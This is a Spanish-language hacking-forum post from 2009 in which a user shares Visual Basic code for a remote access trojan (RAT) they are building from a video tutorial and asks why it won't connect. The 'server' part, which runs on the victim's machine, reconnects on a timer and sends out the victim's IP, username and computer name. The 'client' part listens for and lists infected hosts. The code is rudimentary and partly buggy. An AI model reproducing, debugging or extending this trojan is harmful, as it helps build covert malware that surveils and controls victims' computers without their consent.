hola pues me dispuse a hacer un RAT pero lo quise probar antes de acarlo por que le voy agragar herramientas pero no conecta para hacer el troyano me base en el videotutorial de skyweb
alguien me podria decir que error tiene a y de repente cuando abro el server va camiando de puerto osea yo le pongo el 81 y enpiza desde el 4000 y va cambiando 4001 4002 y asi se se sigue
el server
Private Sub conector_Timer()
If WS.State <> sckConnected Then
WS.CloseSck
WS.Connect "localhost", 81
End If
End Sub
Private Sub WS_Connect()
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")
End Sub
el cliente
Dim sIndex As Long
Private Sub Form_Load()
WS(0).LocalPort = "81"
WS(0).Listen
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long)
sIndex = sIndex + 1
Load WS(sIndex)
WS(sIndex).Accept requestID
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim data As String, xdata() As String
WS(sIndex).GetData sData
xdata() = Split(sData, "|")
Select Case xdata(0)
Case "Hola"
With LV.ListItems.Add(, , xdata(1))
.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
End With
End Select
End Sub
Última edición por soy 1 el 10 Jul 2009, 17:33, editado 1 vez en total.
[email protected] trabajos hacking xD
http://xat.com/XDamigosXD mi chat me faltan mods xD
http://xat.com/XDamigosXD mi chat me faltan mods xD
